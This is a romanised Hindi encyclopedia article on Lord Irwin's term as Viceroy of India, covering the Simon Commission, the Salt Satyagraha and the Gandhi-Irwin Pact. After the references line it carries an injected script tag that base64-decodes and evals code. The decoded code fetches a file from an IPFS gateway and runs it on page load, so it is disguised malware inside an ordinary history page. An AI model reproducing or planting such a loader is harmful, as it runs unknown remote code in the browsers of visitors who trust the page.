लॉर्ड इरविन
thumb|l aaurd iravin iravin ka poora nam 'l aaurd edavard fredarik lindale vud iravin' tha. ye dvitiy baikaunt 'hailifaiks' ka putr tha. isaka janm 1881 ee. mean hua tha. isane eetan mean shiksha prapt ki aur 1910 se 1925 ee. tak british parliyameant ka sadasy raha. is dauran british mantrimandal ke vividh padoan par bhi vah raha. gaandhi ji ke namak satyagrah andolan ke karan sare bharat mean b di hi halachal ka mahaul tha. l aaurd iravin ne yukti poorvak kam liya aur gaandhi ji ke sath mean ek samajhauta kiya, jo 'gaandhi-iravin samajhaute' ke nam se prasiddh hai. iravin ke karyakal ke dauran hi 12 march, 1930 ee. mean savinay avajna andolan gaandhi ji dvara arambh kiya gaya. lala lajapat ray ki mrityu ke badalean mean 'bharati charamapanthiyoan' dvara dilli ke asembali h aaul mean 1929 ee. mean bam pheanka gaya. 1929 ee. mean hi prasiddh 'lahaur shadyantr' evan svatantrata senani jatinadas ki 64 din ki bhookh h datal ke bad jel mean mrityu ki ghatana huee thi.
bharat ka vayasaray
1926 ee. se 1931 ee. tak vah bharat ka vayasaray tatha gavarnar-janaral raha. bharat ke vayasaray ke roop mean usaka karyakal atyant toofani kaha gaya. 1920 ee. mean arambh kiya gaya asahayog andolan us samay bhi jari tha. 1919 ee. ke 'gavarnameant aauf iandiya ekt' ki karyavidhi ka moolyaankan karane ke lie, jo saiman kamishan niyukt kiya gaya tha, usake sabhi sadasy aangrez the. usamean koee bhi bharatiy sadasy n niyukt kiye jane se sare desh mean gahari rajanitik ashanti phail gee. l aaurd iravin ne bharatiy janamat ko shant karane ke uddeshy se 31 aktoobar ko british sarakar se paramarsh karake ghoshana ki ki, aupaniveshik svarajy ki sthapana bharat ki sanvaidhanik pragati ka svabhavik lakshy hai aur saiman kamishan ki riport milane ke bad parliyameant mean naya bharatiy sanvaidhanik bil pesh kiye jane se poorv landan mean sabhi bharatiy rajanitik partiyoan ka ek golamej sammelan bulaya jaega.
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kaangres ka adhiveshan
golamej sammelan ke turantu bad hi british adhikariyoan ne aupaniveshak svarajy ki vyakhya karate hue spasht kar diya ki, usaka ashay kanada jaise aupaniveshak svarajy prapt desh ka darja pradan karana nahian hai, balki bharat ko ek adhinasth desh banae rakhakar use svayattashasi sarakar pradan karana hai. is spashtikaran ke phalasvaroop l aaurd iravin ki ghoshana bharatiy rashtriy kaangres ko santosh nahian pradan kar saki aur 1929 ee. mean 'lahaur adhiveshan' mean ghoshana kar di gee ki, kaangres ka dhyey poorn svadhinata hai.
satyagrah andolan
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kaangres ne 1930 ee. mean mahatma gaandhi ke netritv mean satyagrah andolan shuroo kiya. gaandhi ji ne apane kuchh anuyayiyoan ke sath 'daandi yatra' ki or kooch kiya aur janaboojhakar sarakar ka 'namak qanoon' to da. yah 'namak satyagrah andolan' shighr hi sare desh mean phail gaya, jisase bhari halachal mach gee. l aaurd iravin ne yuktipoorvak sthiti ko sambhalane ka prayas kiya. ek or to usane qanoon aur vyavastha ko banaye rakhane ke lie rajy ki sari shakti laga di tatha 'kaangres varkiang kameti' ke sabhi sadasyoan ko giraphtar kar liya. doosari or vah mahatma gaandhi se samajhauta varta chalata raha. vah gaandhi ji se kee bar mila aur aant mean 'gaandhi-iravin samajhauta' ho gaya.
samajhaute ki shartean
is samajhaute ke anusar kaangres ne satyagrah andolan sthagit kar diya aur vah golamej sammelan ke doosare adhiveshan mean gaandhi ji ko apana ekamatr pratinidhi banakar bhejane ko taiyar ho gee. kaangres ne is sammelan ke pahale adhiveshan ka bahishkar kiya tha. udhar sarakar ne bhi sabhi rajanitik bandiyoan ko riha kar diya. sirf un bandiyoan ko nahian chho da gaya, jin par hiansatmak upadravoan mean bhag lene ke arop the.
avakash
gaandhi-iravin samajhaute ke ek mahine ke bad l aaurd iravin ne bharat ke vayasaray ke pad se avakash grahan kar liya aur apane uttaradhikari l aaurd viliangadan par yah bhar chho d diya ki, vah chahe to usaki niti ko age badhae aur n chahe to samapt kar de. bharat se avakash grahan karake l aaurd iravin 1940 ee. se 1946 ee. tak amerika mean british rajadoot raha. 1944 ee. mean use 'arl aauf hailifaiks' ki padavi pradan ki gee.
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tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 54.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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